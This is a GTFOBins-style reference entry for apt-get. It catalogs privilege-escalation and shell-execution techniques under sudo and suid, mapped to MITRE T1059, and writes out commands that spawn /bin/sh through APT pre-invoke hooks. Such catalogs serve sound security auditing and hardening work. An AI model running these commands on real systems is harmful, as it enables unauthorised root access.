CatalogGTFOBins

GTFO · Tool

apt-get

6 techniquesLinuxGTFOBinsGPL-3.0

inherit ← less

ExecutionFile ReadFile WritePrivilege EscalationLinux
apt-get changelog apt
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:less

inherit ← less

ExecutionFile ReadFile WriteLinux
apt-get changelog apt
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:less

shell

ExecutionPrivilege EscalationLinux

For this to work the target package (i.e., `sl`) must not be already installed.

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

For this to work the target package (i.e., `sl`) must not be already installed.

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

When the shell exits the `update` command is actually executed.

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

When the shell exits the `update` command is actually executed.

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059